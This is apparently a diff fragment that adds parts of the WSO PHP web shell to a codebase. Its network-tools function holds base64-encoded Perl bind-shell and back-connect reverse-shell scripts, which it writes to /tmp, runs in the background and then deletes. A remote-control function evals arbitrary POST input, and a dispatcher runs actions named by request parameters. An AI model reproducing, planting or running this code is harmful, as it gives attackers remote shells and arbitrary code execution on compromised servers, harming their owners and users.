'; + wsoFooter(); +} +function actionNetwork() { + wsoHeader(); + $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; + $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; + echo "

Network tools

+
+ Bind port to /bin/sh [perl]
+ Port: +
+
+ Back-connect [perl]
+ Server: Port: +

"; + if(isset($_POST['p1'])) { + function cf($f,$t) { + $w = @fopen($f,"w") or @function_exists('file_put_contents'); + if($w){ + @fwrite($w,@base64_decode($t)); + @fclose($w); + } + } + if($_POST['p1'] == 'bpp') { + cf("/tmp/bp.pl",$bind_port_p); + $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); + sleep(1); + echo "
$out\n".wsoEx("ps aux | grep bp.pl")."
"; + unlink("/tmp/bp.pl"); + } + if($_POST['p1'] == 'bcp') { + cf("/tmp/bc.pl",$back_connect_p); + $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); + sleep(1); + echo "
$out\n".wsoEx("ps aux | grep bc.pl")."
"; + unlink("/tmp/bc.pl"); + } + } + echo '
'; + wsoFooter(); +} +function actionRC() { + if(!@$_POST['p1']) { + $a = array( + "uname" => php_uname(), + "php_version" => phpversion(), + "wso_version" => WSO_VERSION, + "safemode" => @ini_get('safe_mode') + ); + echo serialize($a); + } else { + eval($_POST['p1']); + } +} +if( empty($_POST['a']) ) + if(isset($default_action) && function_exists('action' . $default_action)) + $_POST['a'] = $default_action; + else + $_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) + call_user_func('action' . $_POST['a']); +exit;